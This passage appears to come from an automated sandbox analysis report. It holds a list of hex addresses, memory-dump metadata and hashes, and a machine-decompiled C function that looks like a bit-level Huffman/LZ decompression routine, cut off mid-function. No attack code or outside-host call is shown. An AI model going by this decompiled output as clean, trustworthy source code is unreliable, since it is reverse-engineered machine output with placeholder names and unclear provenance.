0x00000000
0x013660c5
0x013660c7
0x013660c7
0x00000000
0x013660c7
0x0136607d
0x0136607f
0x01366082
0x0136608c
0x01366094
0x0136609a
0x0136609d
0x00000000
0x00000000
0x00000000
0x00000000
0x0136604f
0x0136604f
0x01366052
0x01366054
0x01366057
0x01366057
0x01366057
0x00000000
0x0136604f
0x01365ea4
0x01365ea4
0x01365ea7
0x01365eaa
0x01365eaa
0x01365e62
0x01365e68
0x01365e6a
0x01365e6f
0x01365e71
0x00000000
0x00000000
0x00000000
0x01365e71
0x01365a64
0x01365a64
0x01365a6a
0x01365a6d
0x01365a7e
0x01365a81
0x01365a81
0x01365a6f
0x01365a6f
0x01365a6f
0x01365a83
0x01365a86
0x01365a88
0x01365a8c
0x01365a93
0x01365a9b
0x01365a9d
0x01365aa4
0x01365aa7
0x01365aa7
0x01365aaa
0x01365aaa
0x01365aaf
0x01365ab6
0x01365abc
0x01365ac2
0x01365ac9
0x01365af5
0x01365af7
0x01365af8
0x01365af9
0x01365afb
0x01365b17
0x01365b1a
0x01365b21
0x01365b24
0x01365b27
0x01365b33
0x01365b3f
0x01365b41
0x01365b47
0x01365b49
0x01365b49
0x01365b4b
0x00000000
0x01365b4b
0x01365afd
0x01365b03
0x01365b06
0x01365b06
0x01365b06
0x01365b08
0x00000000
0x00000000
0x01365b0a
0x01365b0a
0x01365b0b
0x01365b0e
0x01365b11
0x00000000
0x00000000
0x01365b13
0x00000000
0x01365b13
0x01365b15
0x01365b15
0x00000000
0x01365acb
0x01365acb
0x01365acd
0x01365ad0
0x01365ada
0x01365ae2
0x01365ae8
0x01365aeb
0x01365b53
0x01365b53
0x01365b56
0x01365b59
0x01365b69
0x01365b6c
0x01365b6c
0x01365b5b
0x01365b5b
0x01365b5b
0x01365b6e
0x01365b6f
0x01365b73
0x01365b75
0x01365b79
0x01365b7b
0x01365c6f
0x01365c6f
0x00000000
0x01365b81
0x01365b81
0x01365b81
0x01365b84
0x01365cca
0x01365ccd
0x01365cd6
0x01365cde
0x01365ce2
0x01365ce6
0x01365ced
0x01365cf0
0x01365cf6
0x01365c72
0x01365c72
0x01365c78
0x01365c7a
0x01365c7b
0x01365c81
0x01365c83
0x01365c84
0x01365c8a
0x01365c8c
0x01365c8c
0x01365c8c
0x01365c8a
0x01365c81
0x01365c90
0x01365c96
0x01365c9c
0x01365c9f
0x01365ca2
0x01365ca9
0x01365cac
0x01365cfe
0x01365d04
0x01365d07
0x01365d09
0x01365d10
0x01365d12
0x01365d14
0x01365e20
0x01365e20
0x01365e22
0x00000000
0x00000000
0x01365e28
0x01365e28
0x01365e2e
0x01365e2e
0x01365e34
0x01365e39
0x01365e3d
0x01365e40
0x01365e45
0x01365e4e
0x01365e50
0x01365e50
0x01365e50
0x00000000
0x01365e55
0x01365d1a
0x01365d1a
0x01365d1c
0x00000000
0x00000000
0x01365d22
0x01365d22
0x01365d28
0x01365d2b
0x01365d31
0x01365d33
0x01365d37
0x01365d82
0x01365d82
0x01365d85
0x01365db4
0x01365db4
0x01365db6
0x01365dbe
0x01365dc1
0x01365dc4
0x01365dcd
0x01365dd0
0x01365dd3
0x01365ddc
0x01365ddf
0x01365de2
0x01365deb
0x01365dee
0x01365df1
0x01365dfa
0x01365dfd
0x01365e00
0x01365e09
0x01365e0c
0x01365e0f
0x01365e18
0x01365e18
0x01365e0f
0x01365e00
0x01365df1
0x01365de2
0x01365dd3
0x01365dc4
0x00000000
0x01365db6
0x01365d87
0x01365d89
0x01365d89
0x01365d8c
0x01365d90
0x01365d92
0x01365d92
0x01365d96
0x01365d9b
0x01365d9e
0x01365da1
0x01365da4
0x01365da7
0x01365da7
0x01365da7
0x01365dac
0x01365db0
0x00000000
0x01365db0
0x01365d39
0x01365d39
0x01365d3c
0x00000000
0x00000000
0x01365d3e
0x01365d40
0x01365d40
0x01365d43
0x01365d43
0x01365d45
0x01365d48
0x01365d4e
0x01365d54
0x01365d5a
0x01365d60
0x01365d66
0x01365d6c
0x01365d6f
0x01365d72
0x01365d75
0x01365d78
0x01365d7b
0x01365d7b
0x01365d7b
0x00000000
0x01365cae
0x01365cae
0x01365cae
0x01365cb7
0x01365cb8
0x00000000
0x01365cb8
0x01365cac
0x01365b8a
0x01365b8a
0x01365bbd
0x01365b8c
0x01365b8f
0x01365b98
0x01365ba0
0x01365ba3
0x01365bab
0x01365bb2
0x01365bb8
0x01365bb8
0x01365bc2
0x01365bc9
0x01365bcf
0x01365bd5
0x01365bdc
0x01365c08
0x01365c0a
0x01365c0b
0x01365c0c
0x01365c0e
0x01365c2a
0x01365c2d
0x01365c34
0x01365c37
0x01365c3a
0x01365c46
0x01365c52
0x01365c54
0x01365c5a
0x01365c5c
0x01365c5c
0x01365c5e
0x00000000
0x01365c5e
0x01365c10
0x01365c16
0x01365c19
0x01365c19
0x01365c19
0x01365c1b
0x00000000
0x00000000
0x01365c1d
0x01365c1d
0x01365c1e
0x01365c21
0x01365c24
0x00000000
0x00000000
0x01365c26
0x00000000
0x01365c26
0x01365c28
0x01365c28
0x00000000
0x01365bde
0x01365bde
0x01365be0
0x01365be3
0x01365bed
0x01365bf5
0x01365bfb
0x01365bfe
0x01365c66
0x01365c69
0x01365c69
0x01365c6b
0x00000000
0x01365c6b
0x01365bdc
0x01365b7b
0x01365ac9
0x01365a1e
0x01365a1e
0x01365a25
0x01365a43
0x01365a49
0x01365a4e
0x01365a51
0x00000000
0x01365a51
0x01365a27
0x01365a34
0x01365a3c
0x00000000
0x01365a3c
0x0136598f
0x01365935
0x01365935
0x01365937
0x00000000
0x00000000
0x01365939
0x0136593b
0x01365940
0x01365946
0x0136594c
0x00000000
0x00000000
0x01365952
0x01365952
0x01365966
0x01365966
0x0136596d
0x01366261
0x01366261
0x00000000
0x01366261
0x00000000
0x0136596d
0x01365954
0x01365954
0x0136595a
0x01365960
0x00000000
0x00000000
0x00000000
0x01365960
0x013658a1

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3517455ed077684b57ae8bd58154d4900c5f7fd798b82540100c2480b2df186
Instruction ID: 7c621d95a88f37ce475b21a1f2cf8a76bc4973385b42f29cfcf5ff262059bf17
Opcode Fuzzy Hash: d3517455ed077684b57ae8bd58154d4900c5f7fd798b82540100c2480b2df186
Instruction Fuzzy Hash: CB6239716047899FCB26CF38C8906F9BBE5AF85248F08C56ED9AB8B74AD730E545C710

Uniqueness

Uniqueness Score: -1.00%

Function 01366CDB, Relevance: .8, Instructions: 773
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E01366CDB(void* __ecx) {
				intOrPtr* _t347;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				void* _t365;
				intOrPtr _t370;
				signed int _t380;
				char _t389;
				unsigned int _t390;
				signed int _t397;
				void* _t399;
				intOrPtr _t404;
				signed int _t407;
				char _t416;
				signed int _t417;
				char _t418;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed int _t425;
				signed int _t426;
				signed short _t427;
				signed int _t430;
				void* _t435;
				intOrPtr _t440;
				signed int _t443;
				char _t452;
				unsigned int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t461;
				signed int _t462;
				signed short _t463;
				unsigned int _t467;
				unsigned int _t472;
				intOrPtr _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				unsigned int _t496;
				unsigned int _t498;
				intOrPtr _t499;
				signed int _t501;
				intOrPtr _t505;
				intOrPtr _t506;
				intOrPtr _t507;
				unsigned int _t510;
				void* _t512;
				signed int _t515;
				signed int* _t518;
				unsigned int _t521;
				void* _t523;
				signed int _t526;
				signed int _t529;
				intOrPtr _t530;
				void* _t532;
				signed int _t535;
				signed int _t536;
				intOrPtr* _t538;
				void* _t539;
				signed int _t542;
				intOrPtr _t545;
				unsigned int _t552;
				void* _t554;
				signed int _t557;
				signed int _t559;
				signed int _t561;
				intOrPtr _t563;
				void* _t565;
				signed int _t568;
				signed int _t569;
				signed int _t571;
				signed int _t573;
				void* _t575;
				signed int _t578;
				intOrPtr* _t580;
				void* _t581;
				signed int _t584;
				void* _t587;
				signed int _t590;
				intOrPtr* _t593;
				void* _t594;
				signed int _t597;
				void* _t600;
				signed int _t603;
				intOrPtr* _t607;
				void* _t608;
				signed int _t611;
				signed int _t614;
				unsigned int _t616;
				signed int _t619;
				signed int _t620;
				unsigned int _t622;
				signed int _t625;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t633;
				unsigned int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t644;
				intOrPtr* _t645;
				unsigned int _t647;
				signed int _t650;
				signed int _t651;
				signed int _t652;
				signed int _t653;
				intOrPtr _t654;
				signed int _t655;
				signed int _t656;
				signed int _t657;
				signed int _t658;
				signed int _t659;
				signed int _t660;
				signed int _t661;
				signed int _t662;
				void* _t663;
				intOrPtr _t666;
				intOrPtr* _t667;
				intOrPtr* _t668;
				signed int _t671;
				signed int _t673;
				intOrPtr* _t675;
				signed int _t677;
				signed int _t680;
				intOrPtr* _t681;
				signed int _t682;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				void* _t691;

				_t654 =  *((intOrPtr*)(_t691 + 0x34));
				_t663 = __ecx;
				if( *((char*)(_t654 + 0x2c)) != 0) {
					L3:
					_t505 =  *((intOrPtr*)(_t654 + 0x18));
					__eflags =  *((intOrPtr*)(_t654 + 4)) -  *((intOrPtr*)(_t654 + 0x24)) + _t505;
					if( *((intOrPtr*)(_t654 + 4)) >  *((intOrPtr*)(_t654 + 0x24)) + _t505) {
						L2:
						 *((char*)(_t654 + 0x4ad0)) = 1;
						return 0;
					} else {
						_t489 =  *((intOrPtr*)(_t654 + 0x4acc)) - 0x10;
						_t666 = _t505 - 1 +  *((intOrPtr*)(_t654 + 0x20));
						 *((intOrPtr*)(_t691 + 0x14)) = _t666;
						 *((intOrPtr*)(_t691 + 0x10)) = _t489;
						 *((intOrPtr*)(_t691 + 0x20)) = _t666;
						__eflags = _t666 - _t489;
						if(_t666 >= _t489) {
							 *((intOrPtr*)(_t691 + 0x20)) = _t489;
						}
						_t347 = _t654 + 4;
						while(1) {
							_t614 =  *(_t663 + 0xe6dc);
							 *(_t663 + 0x7c) =  *(_t663 + 0x7c) & _t614;
							_t506 =  *_t347;
							__eflags = _t506 -  *((intOrPtr*)(_t691 + 0x20));
							if(_t506 <  *((intOrPtr*)(_t691 + 0x20))) {
								goto L16;
							}
							L10:
							__eflags = _t506 - _t666;
							if(__eflags > 0) {
								L100:
								_t418 = 1;
								L101:
								return _t418;
							}
							if(__eflags != 0) {
								L13:
								__eflags = _t506 - _t499;
								if(_t506 < _t499) {
									L15:
									__eflags = _t506 -  *((intOrPtr*)(_t654 + 0x4acc));
									if(_t506 >=  *((intOrPtr*)(_t654 + 0x4acc))) {
										L151:
										 *((char*)(_t654 + 0x4ad3)) = 1;
										goto L100;
									}
									goto L16;
								}
								__eflags =  *((char*)(_t654 + 0x4ad2));
								if( *((char*)(_t654 + 0x4ad2)) == 0) {
									goto L151;
								}
								goto L15;
							}
							__eflags =  *(_t654 + 8) -  *((intOrPtr*)(_t654 + 0x1c));
							if( *(_t654 + 8) >=  *((intOrPtr*)(_t654 + 0x1c))) {
								goto L100;
							}
							goto L13;
							L16:
							_t507 =  *((intOrPtr*)(_t663 + 0x4b3c));
							__eflags = (_t507 -  *(_t663 + 0x7c) & _t614) - 0x1004;
							if((_t507 -  *(_t663 + 0x7c) & _t614) >= 0x1004) {
								L21:
								_t667 = _t654 + 4;
								_t351 = E0135A4ED(_t667);
								_t352 =  *(_t654 + 0xb4);
								_t616 = _t351 & 0x0000fffe;
								__eflags = _t616 -  *((intOrPtr*)(_t654 + 0x34 + _t352 * 4));
								if(_t616 >=  *((intOrPtr*)(_t654 + 0x34 + _t352 * 4))) {
									_t490 = 0xf;
									_t353 = _t352 + 1;
									__eflags = _t353 - _t490;
									if(_t353 >= _t490) {
										L30:
										_t510 =  *(_t667 + 4) + _t490;
										 *(_t667 + 4) = _t510 & 0x00000007;
										_t355 = _t510 >> 3;
										 *_t667 =  *_t667 + _t355;
										_t512 = 0x10;
										_t515 =  *((intOrPtr*)(_t654 + 0x74 + _t490 * 4)) + (_t616 -  *((intOrPtr*)(_t654 + 0x30 + _t490 * 4)) >> _t512 - _t490);
										__eflags = _t515 -  *((intOrPtr*)(_t654 + 0x30));
										asm("sbb eax, eax");
										_t356 = _t355 & _t515;
										__eflags = _t356;
										_t619 =  *(_t654 + 0xcb8 + _t356 * 2) & 0x0000ffff;
										_t347 = _t654 + 4;
										L31:
										__eflags = _t619 - 0x100;
										if(_t619 >= 0x100) {
											__eflags = _t619 - 0x106;
											if(_t619 < 0x106) {
												__eflags = _t619 - 0x100;
												if(_t619 != 0x100) {
													__eflags = _t619 - 0x101;
													if(_t619 != 0x101) {
														_t620 = _t619 + 0xfffffefe;
														__eflags = _t620;
														_t518 =  &((_t663 + 0x60)[_t620]);
														_t491 =  *_t518;
														 *(_t691 + 0x24) = _t491;
														if(_t620 == 0) {
															L122:
															_t668 = _t654 + 4;
															 *(_t663 + 0x60) = _t491;
															_t357 = E0135A4ED(_t668);
															_t358 =  *(_t654 + 0x2d78);
															_t622 = _t357 & 0x0000fffe;
															__eflags = _t622 -  *((intOrPtr*)(_t654 + 0x2cf8 + _t358 * 4));
															if(_t622 >=  *((intOrPtr*)(_t654 + 0x2cf8 + _t358 * 4))) {
																_t492 = 0xf;
																_t359 = _t358 + 1;
																__eflags = _t359 - _t492;
																if(_t359 >= _t492) {
																	L130:
																	_t521 =  *(_t668 + 4) + _t492;
																	 *(_t668 + 4) = _t521 & 0x00000007;
																	_t361 = _t521 >> 3;
																	 *_t668 =  *_t668 + _t361;
																	_t523 = 0x10;
																	_t526 =  *((intOrPtr*)(_t654 + 0x2d38 + _t492 * 4)) + (_t622 -  *((intOrPtr*)(_t654 + 0x2cf4 + _t492 * 4)) >> _t523 - _t492);
																	__eflags = _t526 -  *((intOrPtr*)(_t654 + 0x2cf4));
																	asm("sbb eax, eax");
																	_t362 = _t361 & _t526;
																	__eflags = _t362;
																	_t363 =  *(_t654 + 0x397c + _t362 * 2) & 0x0000ffff;
																	L131:
																	_t493 = _t363 & 0x0000ffff;
																	__eflags = _t493 - 8;
																	if(_t493 >= 8) {
																		_t671 = (_t493 >> 2) - 1;
																		_t493 = (_t493 & 0x00000003 | 0x00000004) << _t671;
																		__eflags = _t493;
																	} else {
																		_t671 = 0;
																	}
																	_t496 = _t493 + 2;
																	__eflags = _t671;
																	if(_t671 != 0) {
																		_t390 = E0135A4ED(_t654 + 4);
																		_t532 = 0x10;
																		_t496 = _t496 + (_t390 >> _t532 - _t671);
																		_t535 =  *(_t654 + 8) + _t671;
																		 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t535 >> 3);
																		_t536 = _t535 & 0x00000007;
																		__eflags = _t536;
																		 *(_t654 + 8) = _t536;
																	}
																	_t625 =  *(_t663 + 0x7c);
																	_t673 = _t625 -  *(_t691 + 0x24);
																	_t365 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
																	 *(_t663 + 0x74) = _t496;
																	__eflags = _t673 - _t365;
																	if(_t673 >= _t365) {
																		L147:
																		_t347 = _t654 + 4;
																		__eflags = _t496;
																		if(_t496 == 0) {
																			goto L7;
																		}
																		_t655 =  *(_t663 + 0xe6dc);
																		do {
																			_t656 = _t655 & _t673;
																			_t673 = _t673 + 1;
																			 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)(_t656 +  *((intOrPtr*)(_t663 + 0x4b40))));
																			_t655 =  *(_t663 + 0xe6dc);
																			 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t655;
																			_t496 = _t496 - 1;
																			__eflags = _t496;
																		} while (_t496 != 0);
																		L150:
																		_t654 =  *((intOrPtr*)(_t691 + 0x3c));
																		L33:
																		_t347 = _t654 + 4;
																		goto L7;
																	} else {
																		__eflags = _t625 - _t365;
																		if(_t625 >= _t365) {
																			goto L147;
																		}
																		_t370 =  *((intOrPtr*)(_t663 + 0x4b40));
																		_t675 = _t673 + _t370;
																		_t529 = _t370 + _t625;
																		 *(_t691 + 0x1c) = _t529;
																		 *(_t663 + 0x7c) = _t625 + _t496;
																		__eflags =  *(_t691 + 0x24) - _t496;
																		if( *(_t691 + 0x24) >= _t496) {
																			__eflags = _t496 - 8;
																			if(_t496 < 8) {
																				L85:
																				_t347 = _t654 + 4;
																				__eflags = _t498;
																				if(_t498 == 0) {
																					L7:
																					L8:
																					_t666 =  *((intOrPtr*)(_t691 + 0x14));
																					while(1) {
																						_t614 =  *(_t663 + 0xe6dc);
																						 *(_t663 + 0x7c) =  *(_t663 + 0x7c) & _t614;
																						_t506 =  *_t347;
																						__eflags = _t506 -  *((intOrPtr*)(_t691 + 0x20));
																						if(_t506 <  *((intOrPtr*)(_t691 + 0x20))) {
																							goto L16;
																						}
																						goto L10;
																					}
																				}
																				 *_t529 =  *_t675;
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 1;
																				if(_t498 <= 1) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 2;
																				if(_t498 <= 2) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 3;
																				if(_t498 <= 3) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 4;
																				if(_t498 <= 4) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 5;
																				if(_t498 <= 5) {
																					goto L7;
																				}
																				__eflags = _t498 - 6;
																				_t499 =  *((intOrPtr*)(_t691 + 0x10));
																				 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
																				_t347 = _t654 + 4;
																				if(_t498 > 6) {
																					 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
																					_t347 = _t654 + 4;
																				}
																				goto L8;
																			}
																			_t380 = _t496 >> 3;
																			__eflags = _t380;
																			 *(_t691 + 0x24) = _t380;
																			_t657 = _t380;
																			do {
																				E0136EA80(_t529, _t675, 8);
																				_t530 =  *((intOrPtr*)(_t691 + 0x28));
																				_t691 = _t691 + 0xc;
																				_t529 = _t530 + 8;
																				_t675 = _t675 + 8;
																				_t496 = _t496 - 8;
																				 *(_t691 + 0x1c) = _t529;
																				_t657 = _t657 - 1;
																				__eflags = _t657;
																			} while (_t657 != 0);
																			L84:
																			_t654 =  *((intOrPtr*)(_t691 + 0x3c));
																			goto L85;
																		}
																		__eflags = _t496 - 8;
																		if(_t496 < 8) {
																			goto L85;
																		}
																		_t628 = _t496 >> 3;
																		__eflags = _t628;
																		do {
																			_t496 = _t496 - 8;
																			 *_t529 =  *_t675;
																			 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
																			 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
																			 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
																			 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
																			 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
																			 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
																			_t389 =  *((intOrPtr*)(_t675 + 7));
																			_t675 = _t675 + 8;
																			 *((char*)(_t529 + 7)) = _t389;
																			_t529 = _t529 + 8;
																			_t628 = _t628 - 1;
																			__eflags = _t628;
																		} while (_t628 != 0);
																		goto L85;
																	}
																}
																_t538 = _t654 + (_t359 + 0xb3e) * 4;
																while(1) {
																	__eflags = _t622 -  *_t538;
																	if(_t622 <  *_t538) {
																		break;
																	}
																	_t359 = _t359 + 1;
																	_t538 = _t538 + 4;
																	__eflags = _t359 - 0xf;
																	if(_t359 < 0xf) {
																		continue;
																	}
																	goto L130;
																}
																_t492 = _t359;
																goto L130;
															}
															_t539 = 0x10;
															_t629 = _t622 >> _t539 - _t358;
															_t542 = ( *(_t629 + _t654 + 0x2d7c) & 0x000000ff) +  *(_t668 + 4);
															 *_t668 =  *_t668 + (_t542 >> 3);
															 *(_t668 + 4) = _t542 & 0x00000007;
															_t363 =  *(_t654 + 0x317c + _t629 * 2) & 0x0000ffff;
															goto L131;
														} else {
															goto L121;
														}
														do {
															L121:
															 *_t518 =  *(_t518 - 4);
															_t518 = _t518 - 4;
															_t620 = _t620 - 1;
															__eflags = _t620;
														} while (_t620 != 0);
														goto L122;
													}
													_t498 =  *(_t663 + 0x74);
													_t666 =  *((intOrPtr*)(_t691 + 0x14));
													__eflags = _t498;
													if(_t498 == 0) {
														L23:
														_t499 =  *((intOrPtr*)(_t691 + 0x10));
														continue;
													}
													_t397 =  *(_t663 + 0x60);
													_t630 =  *(_t663 + 0x7c);
													_t677 = _t630 - _t397;
													 *(_t691 + 0x1c) = _t397;
													_t399 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
													__eflags = _t677 - _t399;
													if(_t677 >= _t399) {
														L116:
														_t347 = _t654 + 4;
														__eflags = _t498;
														if(_t498 == 0) {
															goto L7;
														}
														_t658 =  *(_t663 + 0xe6dc);
														do {
															_t659 = _t658 & _t677;
															_t677 = _t677 + 1;
															 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)(_t659 +  *((intOrPtr*)(_t663 + 0x4b40))));
															_t658 =  *(_t663 + 0xe6dc);
															 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t658;
															_t498 = _t498 - 1;
															__eflags = _t498;
														} while (_t498 != 0);
														goto L150;
													}
													__eflags = _t630 - _t399;
													if(_t630 >= _t399) {
														goto L116;
													}
													_t404 =  *((intOrPtr*)(_t663 + 0x4b40));
													_t675 = _t677 + _t404;
													_t529 = _t404 + _t630;
													 *(_t691 + 0x24) = _t529;
													 *(_t663 + 0x7c) = _t630 + _t498;
													__eflags =  *(_t691 + 0x1c) - _t498;
													if( *(_t691 + 0x1c) >= _t498) {
														__eflags = _t498 - 8;
														if(_t498 < 8) {
															goto L85;
														}
														_t407 = _t498 >> 3;
														__eflags = _t407;
														_t660 = _t407;
														do {
															E0136EA80(_t529, _t675, 8);
															_t545 =  *((intOrPtr*)(_t691 + 0x30));
															_t691 = _t691 + 0xc;
															_t529 = _t545 + 8;
															_t675 = _t675 + 8;
															_t498 = _t498 - 8;
															 *(_t691 + 0x24) = _t529;
															_t660 = _t660 - 1;
															__eflags = _t660;
														} while (_t660 != 0);
														goto L84;
													}
													__eflags = _t498 - 8;
													if(_t498 < 8) {
														goto L85;
													}
													_t633 = _t498 >> 3;
													__eflags = _t633;
													do {
														_t498 = _t498 - 8;
														 *_t529 =  *_t675;
														 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
														 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
														 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
														 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
														 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
														 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
														_t416 =  *((intOrPtr*)(_t675 + 7));
														_t675 = _t675 + 8;
														 *((char*)(_t529 + 7)) = _t416;
														_t529 = _t529 + 8;
														_t633 = _t633 - 1;
														__eflags = _t633;
													} while (_t633 != 0);
													goto L85;
												}
												_push(_t691 + 0x28);
												_t417 = E01363564(_t663, _t347);
												__eflags = _t417;
												if(_t417 == 0) {
													goto L100;
												}
												_t420 = E01361A0E(_t663, _t691 + 0x28);
												__eflags = _t420;
												if(_t420 != 0) {
													goto L33;
												}
												goto L100;
											}
											_t501 = _t619 - 0x106;
											__eflags = _t501 - 8;
											if(_t501 >= 8) {
												_t680 = (_t501 >> 2) - 1;
												_t501 = (_t501 & 0x00000003 | 0x00000004) << _t680;
												__eflags = _t501;
											} else {
												_t680 = 0;
											}
											_t498 = _t501 + 2;
											__eflags = _t680;
											if(_t680 == 0) {
												_t681 = _t654 + 4;
											} else {
												_t472 = E0135A4ED(_t347);
												_t600 = 0x10;
												_t498 = _t498 + (_t472 >> _t600 - _t680);
												_t603 =  *(_t654 + 8) + _t680;
												_t681 = _t654 + 4;
												 *_t681 =  *_t681 + (_t603 >> 3);
												 *(_t681 + 4) = _t603 & 0x00000007;
											}
											_t421 = E0135A4ED(_t681);
											_t422 =  *(_t654 + 0xfa0);
											_t635 = _t421 & 0x0000fffe;
											__eflags = _t635 -  *((intOrPtr*)(_t654 + 0xf20 + _t422 * 4));
											if(_t635 >=  *((intOrPtr*)(_t654 + 0xf20 + _t422 * 4))) {
												_t682 = 0xf;
												_t423 = _t422 + 1;
												__eflags = _t423 - _t682;
												if(_t423 >= _t682) {
													L49:
													_t552 =  *(_t654 + 8) + _t682;
													 *(_t654 + 8) = _t552 & 0x00000007;
													_t425 = _t552 >> 3;
													 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + _t425;
													_t554 = 0x10;
													_t557 =  *((intOrPtr*)(_t654 + 0xf60 + _t682 * 4)) + (_t635 -  *((intOrPtr*)(_t654 + 0xf1c + _t682 * 4)) >> _t554 - _t682);
													__eflags = _t557 -  *((intOrPtr*)(_t654 + 0xf1c));
													asm("sbb eax, eax");
													_t426 = _t425 & _t557;
													__eflags = _t426;
													_t427 =  *(_t654 + 0x1ba4 + _t426 * 2) & 0x0000ffff;
													goto L50;
												}
												_t593 = _t654 + (_t423 + 0x3c8) * 4;
												while(1) {
													__eflags = _t635 -  *_t593;
													if(_t635 <  *_t593) {
														break;
													}
													_t423 = _t423 + 1;
													_t593 = _t593 + 4;
													__eflags = _t423 - 0xf;
													if(_t423 < 0xf) {
														continue;
													}
													goto L49;
												}
												_t682 = _t423;
												goto L49;
											} else {
												_t594 = 0x10;
												_t652 = _t635 >> _t594 - _t422;
												_t597 = ( *(_t652 + _t654 + 0xfa4) & 0x000000ff) +  *(_t681 + 4);
												 *_t681 =  *_t681 + (_t597 >> 3);
												 *(_t681 + 4) = _t597 & 0x00000007;
												_t427 =  *(_t654 + 0x13a4 + _t652 * 2) & 0x0000ffff;
												L50:
												_t638 = _t427 & 0x0000ffff;
												__eflags = _t638 - 4;
												if(_t638 >= 4) {
													_t430 = (_t638 >> 1) - 1;
													_t638 = (_t638 & 0x00000001 | 0x00000002) << _t430;
													__eflags = _t638;
												} else {
													_t430 = 0;
												}
												 *(_t691 + 0x18) = _t430;
												_t559 = _t638 + 1;
												 *(_t691 + 0x24) = _t559;
												_t683 = _t559;
												 *(_t691 + 0x1c) = _t683;
												__eflags = _t430;
												if(_t430 == 0) {
													L70:
													__eflags = _t683 - 0x100;
													if(_t683 > 0x100) {
														_t498 = _t498 + 1;
														__eflags = _t683 - 0x2000;
														if(_t683 > 0x2000) {
															_t498 = _t498 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 > 0x40000) {
																_t498 = _t498 + 1;
																__eflags = _t498;
															}
														}
													}
													 *(_t663 + 0x6c) =  *(_t663 + 0x68);
													 *(_t663 + 0x68) =  *(_t663 + 0x64);
													 *(_t663 + 0x64) =  *(_t663 + 0x60);
													 *(_t663 + 0x60) = _t683;
													_t641 =  *(_t663 + 0x7c);
													_t561 = _t641 - _t683;
													_t435 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
													 *(_t663 + 0x74) = _t498;
													 *(_t691 + 0x24) = _t561;
													__eflags = _t561 - _t435;
													if(_t561 >= _t435) {
														L93:
														_t666 =  *((intOrPtr*)(_t691 + 0x14));
														_t347 = _t654 + 4;
														__eflags = _t498;
														if(_t498 == 0) {
															goto L23;
														}
														_t684 =  *(_t663 + 0xe6dc);
														_t661 =  *(_t691 + 0x24);
														do {
															_t685 = _t684 & _t661;
															_t661 = _t661 + 1;
															 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)( *((intOrPtr*)(_t663 + 0x4b40)) + _t685));
															_t684 =  *(_t663 + 0xe6dc);
															 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t684;
															_t498 = _t498 - 1;
															__eflags = _t498;
														} while (_t498 != 0);
														goto L150;
													} else {
														__eflags = _t641 - _t435;
														if(_t641 >= _t435) {
															goto L93;
														}
														_t440 =  *((intOrPtr*)(_t663 + 0x4b40));
														_t675 = _t440 + _t561;
														_t529 = _t440 + _t641;
														 *(_t691 + 0x24) = _t529;
														 *(_t663 + 0x7c) = _t641 + _t498;
